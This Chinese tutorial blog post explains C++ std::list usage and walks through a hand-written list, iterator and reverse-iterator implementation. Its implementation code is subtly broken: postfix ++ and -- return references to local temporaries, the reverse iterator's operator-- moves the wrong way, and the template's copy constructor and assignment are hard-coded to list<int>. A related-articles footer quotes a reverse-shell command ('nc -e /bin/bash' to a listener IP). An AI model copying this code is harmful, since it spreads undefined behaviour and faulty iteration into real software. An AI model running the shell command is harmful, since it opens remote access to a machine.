【万字总结】C++——list的基本使用和模拟实现(建议收藏)

news2025/2/24 13:21:32

目录

一、list基本介绍

二、list的使用

1、list的初始化方式

2、list的增删查改

push_front和pop_front与push_back和pop_back

insert

erase

3、list迭代器的使用

正向迭代器

反向迭代器

4、list获取头尾元素

5、list容量操作

6、list的其他操作

sort

splice

remove

unique

merge

reverse

assign

swap

7、结点的构造函数

三、模拟迭代器类

迭代器类的模板参数

1、构造函数

2、运算符重载

++

==

!=

*

->

四、list的模拟实现

1、构造函数

2、拷贝构造函数

3、赋值运算符重载函数

4、析构函数

5、迭代器相关函数

begin和end

insert

erase

push_back和pop_back与push_front和pop_front

clear

五、反向迭代器的模拟实现

六、vector与list优劣


一、list基本介绍

1. list是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。

2. list的底层是双向链表结构,双向链表中每个元素存储在互不相关的独立节点中,在节点中通过指针指向 其前一个元素和后一个元素。

3. list与forward_list非常相似:最主要的不同在于forward_list是单链表,只能朝前迭代,已让其更简单高 效。

4. 与其他的序列式容器相比(array,vector,deque),list通常在任意位置进行插入、移除元素的执行效率 更好。

5. 与其他序列式容器相比,list和forward_list最大的缺陷是不支持任意位置的随机访问,比如:要访问list 的第6个元素,必须从已知的位置(比如头部或者尾部)迭代到该位置,在这段位置上迭代需要线性的时间 开销;list还需要一些额外的空间,以保存每个节点的相关联信息(对于存储类型较小元素的大list来说这 可能是一个重要的因素)。

二、list的使用

1、list的初始化方式

    list<int> lt1;//构造空容器
	list<int> lt2(20, 2);//构造有20个2的int型容器
	list<int> lt3(lt2);//拷贝构造

	string str("hello world");
	//使用迭代器
	list<char> lt4(str.begin(), str.end());//使用区间给容器赋值
    int myints[] = {16,2,77,29};
    std::list<int> fifth (myints, myints + sizeof(myints) / sizeof(int) );//使用数组进行初始化

2、list的增删查改

push_front和pop_front与push_back和pop_back

void test_list2()
{
	list<int> lt;
	//尾插
	lt.push_back(1);
	lt.push_back(2);
	lt.push_back(3);
	lt.push_back(4);
	//1  2  3  4

	//尾删
	lt.pop_back();
	//1  2  3  
	
	//头插
	lt.push_front(0);
	//0  1  2  3

	//头删
	lt.pop_front();
	//1  2  3 

	//打印
	for (auto e : lt)
	{
		cout << e << " ";
	}
	cout << endl;
	//1  2  3 
}

insert

查阅文档我们可以发现list有三种插入方式:

1、在指定迭代器位置插入一个数。

2、在指定迭代器位置插入n个值为val的数。

3、在指定迭代器位置插入一段迭代器区间。 

	list<int> lt;
	//尾插
	lt.push_back(1);
	lt.push_back(2);
	lt.push_back(3);
	lt.push_back(4);
	// 1  2  3  4
	


    //方式一
	//先确定2的位置
	list<int>::iterator pos = find(lt.begin(), lt.end(), 2);
	//在2的前面插入一个0
	lt.insert(pos, 0);
	// 1  0  2  3  4 

	//方式二
	//在2的前面插入两个0
	lt.insert(pos, 2, 0);
	//1  0  0  0  2  3  4

	//方式三
	vector<int> v(3, 0);
	lt.insert(pos, v.begin(), v.end());
	//在2的前面插入三个0
	//1  0  0  0  0  0  0  2  3  4

erase

 文档中记载有两种删除方式:

  1. 删除指定迭代器位置的元素。
  2. 删除指定迭代器区间(左闭右开)的所有元素。
    list<int> lt;
	//尾插
	lt.push_back(1);
	lt.push_back(2);
	lt.push_back(3);
	lt.push_back(4);
	// 1  2  3  4
	// 
	
	//找到2的位置用迭代器指向它获得
	list<int>::iterator pos1 = find(lt.begin(), lt.end(),2);
	lt.erase(pos1);
	// 1  3  4  

	list<int>::iterator pos2 = find(lt.begin(), lt.end(), 3);
	lt.erase(pos2, lt.end());
	// 1

3、list迭代器的使用

正向迭代器


	list<int> lt(3, 7);
	list<int>::iterator it = lt.begin();

	while (it != lt.end())
	{
		cout << *it << " ";
		it++;
	}
	//输出3个7

反向迭代器

    list<int> lt;
	//尾插
	lt.push_back(1);
	lt.push_back(2);
	lt.push_back(3);
	lt.push_back(4);
	list<int>::reverse_iterator rit = lt.rbegin();
	while (rit != lt.rend())
	{
		cout << *rit << " ";
		rit++;
	}
	//4  3  2  1

4、list获取头尾元素

    list<int> lt;
	//尾插
	lt.push_back(1);
	lt.push_back(2);
	lt.push_back(3);
	lt.push_back(4);

	//输出最后一个元素的值
	cout << lt.back() << endl;

	//输出第一个元素的值
	cout << lt.front() << endl;

5、list容量操作


	list<int> lt;
	//尾插
	lt.push_back(1);
	lt.push_back(2);
	lt.push_back(3);
	lt.push_back(4);

	//输出数据个数
	cout << lt.size() << endl;

	//当所给值大于当前的size时,将size扩大到该值,扩大的数据为第二个所给值
	//若未给出,则默认为容器所存储类型的默认构造函数所构造出来的值。
	//当所给值小于当前的size时,将size缩小到该值。
	//容量增加到5
	lt.resize(5);
	
	//判断容器内是否为空
	if (lt.empty())
	{
		cout << "容器为空" << endl;
	}
	else
	{
		cout << "容器不为空" << endl;
	}

	//清空容器的数据,不改变容量大小
	lt.clear();
	cout << lt.size() << endl;

6、list的其他操作

sort

将容器中的数据默认按照升序排列。

list<int> lt;
	//尾插
	lt.push_back(3);
	lt.push_back(4);
	lt.push_back(1);
	lt.push_back(2);

	lt.sort();
	for (auto e : lt)
	{
		cout << e << " ";
	}
	cout << endl;
	//输出 1  2  3  4

splice

作用是拼接两个list容器。

由文档可知有三种方式: 

1、将一个容器拼接到另一个容器迭代器指向的位置。

2、将容器中的某一个数据拼接到另一个容器迭代器指向的位置。

3、将要容器中迭代器指向的区间的数据拼接到另一个容器迭代器指向的位置。


	//方式一
	list<int> lt1;
	//尾插
	lt1.push_back(1);
	lt1.push_back(2);
	lt1.push_back(3);
	lt1.push_back(4);

	list<int> lt2(3, 5);

	list<int>::iterator pos1 = find(lt1.begin(), lt1.end(), 2);
	lt1.splice(pos1, lt2);

	for (auto e : lt1)
	{
		cout << e << " ";
	}
	cout << endl;
	//1 5 5 5 2 3 4



	//方式二
	list<int> lt1;
	//尾插
	lt1.push_back(1);
	lt1.push_back(2);
	lt1.push_back(3);
	lt1.push_back(4);

	list<int> lt2(3, 5);

	list<int>::iterator pos1 = find(lt1.begin(), lt1.end(), 2);
	lt1.splice(pos1, lt2, lt2.begin());
	//1  5  2  3  4



	
	//方式三
	list<int> lt1;
	//尾插
	lt1.push_back(1);
	lt1.push_back(2);
	lt1.push_back(3);
	lt1.push_back(4);

	list<int> lt2(3, 5);

	list<int>::iterator pos1 = find(lt1.begin(), lt1.end(), 2);
	list<int>::iterator it2 = lt2.begin();
	lt1.splice(pos1, lt2, lt2.begin(), lt2.end());
	//1 5 5 5 2 3 4

remove

删除容器中的某个值


	list<int> lt1;
	//尾插
	lt1.push_back(1);
	lt1.push_back(2);
	lt1.push_back(3);
	lt1.push_back(3);
	lt1.push_back(3);
	lt1.push_back(3);
	lt1.push_back(4);

	lt1.remove(3);
	
	for (auto e : lt1)
	{
		cout << e << " ";
	}
	//1  2  4

unique

去除容器容器中连续重复的元素。


	list<int> lt;
	lt.push_back(1);
	lt.push_back(1);
	lt.push_back(1);
	lt.push_back(2);
	lt.push_back(2);
	lt.push_back(2);
	lt.push_back(3);
	lt.push_back(4);
	lt.push_back(4);
	lt.push_back(4);
	lt.push_back(4);
	lt.push_back(4);

	lt.unique();
	for (auto e : lt)
	{
		cout << e << " ";
	}
	//1  2  3  4

merge

类似归并排序,将一个有序容器归并到另一个有序容器中,使其还是有序的。

list<int> lt1;
	lt1.push_back(1);
	lt1.push_back(3);
	lt1.push_back(5);
	lt1.push_back(7);
	list<int> lt2;
	lt2.push_back(2);
	lt2.push_back(4);
	lt2.push_back(6);
	lt2.push_back(8);

	lt1.merge(lt2);

	for (auto e : lt1)
	{
		cout << e << " ";
	}
	//1  2  3  4  5  6  7  8

reverse

将容器中的元素进行逆置。

list<int> lt1;
	lt1.push_back(1);
	lt1.push_back(3);
	lt1.push_back(5);
	lt1.push_back(7);
	list<int> lt2;
	lt2.push_back(2);
	lt2.push_back(4);
	lt2.push_back(6);
	lt2.push_back(8);

	lt1.merge(lt2);

	//1  2  3  4  5  6  7  8

	lt1.reverse();

	for (auto e : lt1)
	{
		cout << e << " ";
	}
	//8  7  6  5  4  3  2  1

assign

将新内容分配给容器,并且会覆盖原容器中的值。

 

由文档可知有两种方式:

1、将n个val值分配给容器

2、将迭代器区间中的内容分配给容器


	//方式一
	list<int> lt1;
	lt1.push_back(1);
	lt1.push_back(3);
	lt1.push_back(5);
	lt1.push_back(7);

	lt1.assign(3, 3);

	for (auto e : lt1)
	{
		cout << e << " ";
	}
	// 3  3  3


	//方式二
	list<int> lt1;
	lt1.push_back(1);
	lt1.push_back(3);
	lt1.push_back(5);
	lt1.push_back(7);
	list<int> lt2;
	lt2.push_back(2);
	lt2.push_back(4);
	lt2.push_back(6);
	lt2.push_back(8);

	lt1.assign(lt2.begin(), lt2.end());
	for (auto e : lt1)
	{
		cout << e << " ";
	}
	//2  4  6  8 

swap

交换两个容器的内容

list<int> lt1;
	lt1.push_back(1);
	lt1.push_back(3);
	lt1.push_back(5);
	lt1.push_back(7);
	list<int> lt2;
	lt2.push_back(2);
	lt2.push_back(4);
	lt2.push_back(6);
	lt2.push_back(8);

	lt1.swap(lt2);
	for (auto e : lt1)
	{
		cout << e << " ";
	}
	//2  4  6  8 

7、结点的构造函数

构造一个结点,并且给结点的数据域he指针域初始化。

template<class T>//类模板
	struct ListNode
	{
		ListNode<T>* _next;
		ListNode<T>* _prev;
		T _data;
ListNode(const T& data = T())
			:_next(nullptr)
			, _prev(nullptr)
			, _data(data)
		{}

三、模拟迭代器类

为什么在vector和string中不用实现一个迭代器类呢?

因为vector和string中的数据都是存储在一块连续的地址空间,我们直接使迭代器像原生指针那样解引用、自增、自减。就可以得到我们所要得到的效果。

可是list却不是如此,我们知道list的本质是一个双向带头循环链表。地址空间并不连续,我们就不能单纯的像原生指针那样进行操作了。

而迭代器的意义就是,让使用者可以不必关心容器的底层实现,可以用简单统一的方式对容器内的数据进行访问。

迭代器类的模板参数

//迭代器
	template<class T, class Ref, class Ptr>//类模板

由以上代码我们可以看出来,迭代器类的模板参数列表有三个模板参数。

这也与list模拟实现中的两个迭代器相对应。

typedef _list_iterator<T, T&, T*> iterator;
typedef _list_iterator<T, const T&, const T*> const_iterator;

其具体作用其实就是为了让我们使用普通迭代器的时候,编译器实例化出一个普通迭代器对象。当我们使用const迭代器的时候就会实例化一个const迭代器对象。

1、构造函数

本质就是根据结点指针构造一个迭代器对象。

//构造函数
__list_iterator(Node* x)
	:_node(x)
{}

2、运算符重载

 注意:

self是当前迭代器对象的类型

		typedef __list_iterator<T, Ref, Ptr> self;

++

本质是使结点指针指向后一个结点,并且返回下一个结点指针。

//++it
		self& operator++()
		{
			_node = _node->_next;
			return *this;
		}
		//it++
		self& operator++(int)
		{
			self tmp(*this);
			//保存++之前的值以便于返回
			_node = _node->_next;
			return tmp;
		}

--

本质是使结点值真指向前一个结点,并且返回上一个结点指针。


		//--it
		self& operator--()
		{
			_node = _node->_prev;
			return *this;
		}
		//it--
		self& operator--(int)
		{
			self tmp(*this);
			//保存--之前的值以便于返回
			_node = _node->_prev;
			return tmp;
		}

==

本质就是比较此时两个迭代器当中的结点指针是否指向同一个位置

bool operator==(const self& it) const
		{
			return _node == it._node;
		}

!=

bool operator!=(const self& it) const
		{
			return _node != it._node;
		}

*

由于list是一个链表结构,*解引用实质就是返回此结点指针所指向的数据。

//需要T&传T& 需要const T& 就传 const T&
		Ref operator*()//由于用的引用,所以可读可写
		{
			return _node->_data;
		}

->

如果list容器中结点中存放的不是内置类型,而是自定义类型,那么我们就要用到->。

比如下面的日期类:


	struct Date
	{
		int _year;
		int _month;
		int _day;

		Date(int year = 1, int month = 1, int day = 1)
			:_year(year)
			, _month(month)
			, _day(day)
		{}
	};

	void test_list2()
	{
		list<Date> lt;
		lt.push_back(Date(2022, 3, 12));
		lt.push_back(Date(2022, 3, 13));
		lt.push_back(Date(2022, 3, 14));
		//普通指针用解引用访问,结构体指针用箭头
		list<Date>::iterator it = lt.begin();
		while (it != lt.end())
		{
			//(*it)代表结点的数据也就是日期类的对象
			/*cout << (*it)._year << " ";
			cout << (*it)._month << " ";
			cout << (*it)._day << " ";
			cout << endl;*/
			cout << it->_year << " ";
			cout << it->_month << " ";
			cout << it->_day << " ";
			cout << endl;
			it++;
		}
		cout << endl;
	}

那么该如何重载呢?

在这里我们先写出重载的函数,再加以解释。

Ptr operator->()
		{
			return &_node->_data;
		}

如果你认真去推理你会发现这个重载函数是有问题的,it->找到的是自定义类型Date*,只有再->才是对应的Date的成员变量呀。所以按理说这里应该是it->->,才行呀。

因此,我们可以得出,如果两个->的话,程序的可读性太差了,所以这里编译器做了特殊的处理,所以省略了一个->。

四、list的模拟实现

1、构造函数

list()//构造函数
		{
			_head = new Node();//申请头结点
			_head->_next = _head;//头结点的后一个结点指向自己
			_head->_prev = _head;//头结点的前一个结点指向自己
		}

2、拷贝构造函数

传统写法:

首先申请一个头结点,使头结点前驱指针和后继指针都指向自己。然后将容器中的数据通过遍历的方式尾插到新容器后面。

现代写法:

首先申请一个头结点,使头结点前驱指针和后继指针都指向自己。然后创建一个名叫tmp的list容器并且使lt1容器通过迭代器区间的方式初始化tmp,随后交换tmp的头结点和lt2。

传统写法
		//lt2(lt1)
		list(const list<T>& lt)
		{
			_head = new Node();
			_head->_next = _head;
			_head->_prev = _head;
			for (auto e : lt)
			{
				push_back(e);  
			}
		}
//现代写法
		//lt2(lt1)
		list(const list<int>& lt)
		{
			_head = new Node();
			_head->_next = _head;
			_head->_prev = _head;
			list<T> tmp(lt.begin(), lt.end());
			std::swap(_head, tmp._head);
		}

3、赋值运算符重载函数

传统写法:

直接将lt中的值一个个遍历尾插到lt1中。

现代写法:

直接交换两个容器。

首先利用编译器机制,故意不使用引用接收参数,通过编译器自动调用list的拷贝构造函数构造出来一个list对象,然后调用swap函数将原容器与该list对象进行交换即可。

这样做相当于将应该用clear清理的数据,通过交换函数交给了容器lt,而当该赋值运算符重载函数调用结束时,容器lt会自动销毁,并调用其析构函数进行清理。

//传统写法
//lt2=lt1
		list<T>& operator=(const list<T>& lt)
		{
			if (this != &lt)
			{
				clear();
				for (auto e : lt)
				{
					push_back(e);
				}
			}
			return *this;
		}
//现代写法
list<int>& operator=(list<T> lt)
		{
			std::swap(_head, lt._head);

			return *this;
		}

4、析构函数

先用clear清理数据,然后释放头结点,再把头结点置空。

~list()
		{
			clear();

			delete _head;
			_head = nullptr;

		}

5、迭代器相关函数

begin和end

iterator begin()
		{
			return iterator(_head->_next);
		}
		iterator end()
		{
			return iterator(_head);
		}
		const_iterator begin() const
		{
			return const_iterator(_head->_next);
		}
		const_iterator end() const
		{
			return const_iterator(_head);
		}

insert

先根据所给迭代器得到该位置处的结点指针cur,然后通过cur指针找到前一个位置的结点指针prev,接着根据所给数据x构造一个待插入结点,之后再建立新结点与cur之间的双向关系,最后建立新结点与prev之间的双向关系即可。

iterator insert(iterator pos, const T& x)
		{
			Node* cur = pos._node;
			Node* prev = cur->_prev;

			Node* newnode = new Node(x);

			prev->_next = newnode;
			newnode->_prev = prev;
			newnode->_next = cur;
			cur->_prev = newnode;
			return iterator(newnode);
		}

erase

首先使用断言assert来使所删除位置不能是头结点。先根据所给迭代器得到该位置处的结点指针cur,然后通过cur指针找到前一个位置的结点指针prev,以及后一个位置的结点指针next,紧接着释放cur结点,最后建立prev和next之间的双向关系即可。


		iterator erase(iterator pos)
		{
			assert(pos != end());

			Node* prev = pos._node->_prev;
			Node* next = pos._node->_next;

			delete pos._node;
			prev->_next = next;
			next->_prev = prev;
			return iterator(next);
		}

push_back和pop_back与push_front和pop_front

可以复用insert和erase进行处理。

        void push_back(const T& x)
		{
			//Node* tail = _head->_prev;//记录最后的尾结点
			//Node* newnode = new Node(x);//创建新结点
			空节点也适用
			链接各个节点之间的关系
			//tail->_next = newnode;
			//newnode->_prev = tail;
			//newnode->_next = _head;
			//_head->_prev = newnode;

			insert(end(), x);
		}
		void push_front(const T& x)
		{
			insert(begin(), x);
		}

		void pop_back()
		{
			erase(--end());
		}
		void pop_front()
		{
			erase(begin());
		}

clear

复用 erase,只保留头结点。


		void clear()
		{/*
			iterator it = begin();
			while (it != end())
			{
				iterator del = it++;
				delete del._node;
			}
			_head->_next = _head;
			_head->_prev = _head;*/
			iterator it = begin();
			while (it != end())
			{
				iterator del = it++;
				erase(del);
			}
		}

五、反向迭代器的模拟实现

反向迭代器有一点非常重要,就是rbegin和rend的位置。

我们所知道的begin就是指向数据的第一个元素,然而end是指向最后一个元素的后一个位置。

那么反向迭代器呢,rbegin是指向数据的最后一个数据,rend是指向数据的第一个数据的前一个。

也就是如图所示的情况:

 

 可是,list的反向迭代器的源代码却不是这样实现的,而是如图所示:

 可是为什么这么做呢?,难道只是为了强迫症吗?

其实不然,我们可以发现list这样做的话begin与rend和end和rbegin有很好的的对称性,也印证了为什么我们在vector和string的时候不对反向迭代器进行模拟实现,因为当我们模拟实现了list这个反向迭代器之后,我们的vector和string可以直接使用,就是因为这个很好的对称性!

那么现在有一个问题,我们既然把rend和rbegin这样都向后移动了一位,那我们解引用的时候,也就是通过rend和rbegin拿到他们对应的值不就乱套了,所以我们此时对 *  运算符进行重载的时候很好的避免了这一点,这也就是为什么下边代码中 * 运算符重载返回的是 return *--prev;


namespace mwb
{
	//Iterator是哪个容器的迭代器,reverse_iterator<Iterator>就可以
	//适配出哪个容器的反向迭代器。复用的体现
	template <class Iterator, class Ref, class Ptr>
	class reverse_iterator
	{
		typedef reverse_iterator<Iterator, Ref, Ptr> self;
	public:
		reverse_iterator(Iterator it)
			:_it(it)
		{}
		
		Ref operator*()
		{
			//return *_it;
			Iterator prev = _it;
			return *--prev;
		}

		Ptr operator->()
		{
			return &operator*();
		}
		self& operator++()
		{
			_it--;
			return *this;
		}
		self& operator--()
		{
			_it--;
			return *this;
		}
		bool operator!= (const self& rit) const
		{
			return _it != rit._it;
		}
		
	private:
		Iterator _it;
	};

}

六、vector与list优劣

vector缺陷:

连续的物理空间,是优势也是劣势。

劣势:

1、空间不够要增容,增容代价比较大。

2、可能存在一定空间浪费。按需申请,会导致频繁增容,所以一般都会2倍左右扩容。

3、头部或者中部插入删除需要挪动数据,效率低下。

list优势:

1、按需申请释放空间

2、list任意位置支持O(1)插入删除。

综上所述:

本质vector和list是互补的两个数据结构。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2689.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

408 | 【2014年】计算机统考真题 自用回顾知识点整理

选择题 T3&#xff1a;循环队列 不同指针指向&#xff0c;队列判空/判满条件 1. rear:指向队尾元素 front:指向队头元素前一个位置 &#xff08;1&#xff09;牺牲一个存储空间 &#xff08;2&#xff09;判空条件&#xff1a;front rear &#xff08;3&#xff…

【C/自定义类型详解】——结构体(struct)、位段、枚举(enum)、联合(union)

关于C语言的知识放在专栏&#xff1a;C 小菜坤日常上传gitee代码&#xff1a;https://gitee.com/qi-dunyan ❤❤❤ 个人简介&#xff1a;双一流非科班的一名小白&#xff0c;期待与各位大佬一起努力&#xff01; 主要目录1、结构体&#xff08;struct&#xff09;1.0 结构体类型…

请问Graph Kernel Fusion(图算融合)在mindspore1.7.0下会生成融合后的mindIR的.dot文件吗

图算融合&#xff0c;GPU (NVIDIA-RTX3080) 验证 【操作步骤&问题现象】 1、参考&#xff08;基于mindspore0.5.0&#xff09;链接1&#xff1a; course: MindSpore实验&#xff0c;仅用于教学或培训目的。配合MindSpore官网使用。MindSpore experiments, for teaching or…

mac 安装部署mongoDB社区版

安装mongo可以采用下载安装包也可以使用Homebrew软件包管理工具安装 我一开始是根据网上走的下载安装包进行的&#xff0c;但总是出现各种问题&#xff0c;最后果断选择跟随官网教程走了 先决条件 如已安装&#xff0c;请跳过 1. 安装 Xcode 命令行工具 Homebrew 需要来自 A…

【Mybatis源码】源码分析

【Mybatis源码】源码分析&#xff08;1&#xff09;Mybatis的基本执行流程&#xff08;1&#xff09;在resources目录下建立一个mybatis-config.xml配置文件&#xff08;2&#xff09;准备UserMapper.xml文件&#xff08;3&#xff09;使用SqlSessionFactoryBuilder.build构建M…

简单的反弹shell到全交互式shell

经常我们拿到的shell是一个简单的shell 如何把一个简单的shell就升级到一个标准交互式shell 写这篇文章记录一下 # kali 起监听 bash # kali默认是zsh 还不兼容,要切换成bash nc -lvvp 9999# 靶机中执行 nc -e /bin/bash 192.168.100.131 9999 python -c import pty; p…

域内批量获取敏感文件

0x01 批量获取域内机器名 自动化工具&#xff0c;当然就要全自动&#xff0c;懒人必备。net group "domain computers" /do &#xff0c;获取机器是3个一排&#xff0c;然后可以通过正则删除空格&#xff0c;每次也麻烦&#xff0c;直接获取机器名更加方便。 思路就…

QT调用OpenCV绘制直线、矩形、椭圆、圆、不规则曲线、文本

开发环境&#xff1a;QT5.14.2OpenCV4.5 提前准备&#xff1a;准备编译好的OpenCV开发环境(如自行编译的mingw版的opencv库&#xff0c;本地路径D:\opencv\qt_build64)&#xff0c;准备一张测试图片&#xff08;如&#xff1a;d:\test.jpg&#xff09;。 项目结构&#xff1a…

如果再来一次,你还会选择互联网么?

现在互联网的就业环境&#xff0c;大家都在感受着一股寒意。也不知道从什么时候开始&#xff0c;身边悲观的声音越来越多了。 如果再给你一次机会&#xff0c;你还会选择互联网吗&#xff1f; 回答这个问题之前&#xff0c;我想跟大家聊聊一个我朋友的故事。 他从学渣到大厂程…

64位下使用回调函数实现监控

前言 在32位的系统下&#xff0c;我们想要实现某些监控十分简单&#xff0c;只需要找到对应的API实现挂钩操作即可检测进程。但在64位系统下随着Patch Guard的引入&#xff0c;导致我们如果继续使用挂钩API的方式进行监控会出现不可控的情况发生。微软也考虑到了用户程序的开发…

Linux shell脚本之笔记及实用笔记

一、前言 二、shell脚本之数据类型 2.1、数组遍历 1)数组定义 如果说变量是存储单个变量的内存空间,那么数组就是多个变量的集合,它存储多个元素在一片连续的内存空间中。在bash中,只支持一维数组,不支持多维数组。Linux Shell 数组用括号来表示,Bash Shell 只支持一维…

15. “接口隔离模式”之 Proxy模式

1. 动机 在面向对象系统中&#xff0c;有些对象由于某些原因&#xff08;比如对象创建的开销很大&#xff0c;或者某些操作需要安全控制&#xff0c;或者需要进程外的访问等&#xff09;&#xff0c;直接访问会给使用者、或者系统结构带来很多麻烦。如何在不失去透明操作对象的…

Java中值得注意的『运算符、逻辑控制、输入输出』

目录前言一、运算符&#x1f351;1、取模运算符%&#x1f351;2、增量运算符&#x1f351;3、逻辑运算符&#x1f351;4、位运算符二、逻辑控制语句&#x1f351;1、switch语句三、Java输入和输出&#x1f351;1、输出到控制台&#x1f351;2、从键盘输入四、猜数字游戏——Jav…

软件过程与项目管理复习(1)

文章目录Week1Project Introduction定义特点Project management项目管理的价值项目管理的5要素Project manager项目经理的技能要求project manager 的核心任务&#xff08;key activities)规划 planning组织 organizing领导 leading掌控 controllingAgile Scrum master 的核心任…

结构体超详解(小白一看就懂,多维度分析!!!!)

目录 一、前言 二、结构体详解 &#x1f350;什么是结构体 &#x1f34e;结构体的定义与基础结构 &#x1f351;结构体的使用 &#x1f4a6;结构体的初始化 &#x1f4a6;结构体的成员访问 &#x1f4a6;结构体数组 &#x1f4a6;结构体指针--------------指向结构体变…

PNAS:人类头皮记录电位的时间尺度

导读 人类的许多行为都是由在不同时间尺度上发生的共同过程所支配的。标准的事件相关电位分析假设有关实验事件的响应持续时间是固定的。然而&#xff0c;最近对动物的单个单元记录显示&#xff0c;在需要灵活计时的行为中&#xff0c;神经活动尺度跨越了不同的持续时间。本研…

vue3——使用axios

1、Axios 是什么? 浏览器页面在向服务器请求数据时&#xff0c;因为返回的是整个页面的数据&#xff0c;页面都会强制刷新一下&#xff0c;这对于用户来讲并不是很友好。并且我们只是需要修改页面的部分数据&#xff0c;但是从服务器端发送的却是整个页面的数据&#xff0c;十…

Keras深度学习实战(33)——基于LSTM的序列预测模型

Keras深度学习实战&#xff08;33&#xff09;——基于LSTM的序列预测模型0. 前言1. 序列学习任务1.1 命名实体提取1.2 文本摘要1.3 机器翻译2. 从输出网络返回输出序列2.1 传统模型体系结构2.2 返回每个时间戳的网络中间状态序列2.3 使用双向 LSTM 网络小结系列链接0. 前言 在…

Qt易忘样式表总结

目录前言1、Qt设置样式的几种方式2、几种复合控件的样式设置QTableWidgetQCalendarWidgetQTreeWidgetQSpinBoxQComboBox前言 在使用Qt框架开发软件时&#xff0c;为了美观和更好的用户体验&#xff0c;需要为各种控件设置样式。一些通用且简单的样式如背景色、边框、字体字号等…

js实现图片懒加载

js实现图片懒加载 1、介绍getBoundingClientRect()函数 该函数没有参数&#xff0c;用于获取元素位置&#xff0c;返回一个对象&#xff0c;具有六个属性分别是&#xff1a; ele.getBoundingClientRect().top – 返回元素上边到视窗上边的距离 ele.getBoundingClientRect().l…